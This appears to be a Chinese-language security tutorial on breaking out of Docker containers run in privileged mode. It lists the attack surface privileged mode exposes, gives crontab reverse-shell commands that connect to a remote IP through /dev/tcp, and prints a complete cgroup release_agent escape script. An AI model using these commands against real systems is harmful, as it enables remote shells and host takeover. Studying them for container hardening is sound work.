目录
前言
当我们容器以--privileged启动时,会以特权模式启用,本质上是我们权限扩大了,扩展了我们攻击面,那么特权模式扩展了哪些攻击面呢?
特权模式与普通模式区别
区别 | 攻击面 | 解释 |
cgroup | 将可以对 cgroup 进行读写操作 | |
内核文件 | 内核文件系统将不再以只读的方式被挂载 | |
敏感名录 | 敏感目录将不再以 tmpfs 文件系统的方式挂载 | |
SELinux | SELinux 相关的安全加固配置将被禁用 | |
/dev | 容器内的 /dev 目录会包含这些来自节点 /dev 目录下的那些内容 | |
AppArmor和Seccomp | AppArmor 或 Seccomp 相关配置将不再生效 |
攻击面
对于上述我们所讲的扩大了攻击面的情况,可以有如下攻击场景,以下仅仅列举常用既每个系统携带的场景,可基于上述攻击面挖掘更多场景,例如劫持so等等。因为可以看到,其中一种攻击面是/dev会包含主机设备,我们可以通过挂载该节点设备后访问主机文件,下面两种都是通过mount来完成攻击
/dev可见,既我们可以对主机设备可见
本质上就是mount我们的可见设备后,利用宿主机可写等条件,直接获取宿主机权限。
演示
主机设备如下所示
启动特权容器后
非特权模式
crontab可写利用方法
利用方法
1.crontab -e输入反弹shell命令或直接写入到/var/spool/cron中
使用crontab创建一个任务,创建一个反弹SHELL,其中*代表每一分钟执行一次
crontab -e 会打开编辑器,之后输入下列命令即可完成反弹SHELL
这样执行以后,属于用户自定义的,会被写到 /var/spool/cron 目录下,生成一个和用户名一致的文件,文件内容就是我们编辑的定时脚本
Centos
* * * * * bash -i >& /dev/tcp/IP/PORT 0>&1
ubuntu
* * * * * bash -c "bash -i >& /dev/tcp/192.168.20.200/7777 0>&1"
我们可以看到,其实本质还是利用文件写功能,写入到了/var/spool/cron/crontabs/root文件中
实验一下,使用vim打开root直接写入,查看crontab也可以看到存在
notify_on_release与cgroup利用方法
cgroup逃逸方式本质是利用了notify_on_release机制,劫持release_agent文件,然后通过notify_on_release机制,完成执行shellcode功能,其利用方法如下
# 容器内挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/x
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent
# 设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中uperdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\uperdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 写入自定义命令
echo '#!/bin/sh' > /cmd
# 结果在当前目录的output文件中
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
# 执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
参考
浅析docker的多种逃逸方法 - 腾讯云开发者社区-腾讯云 (tencent.com)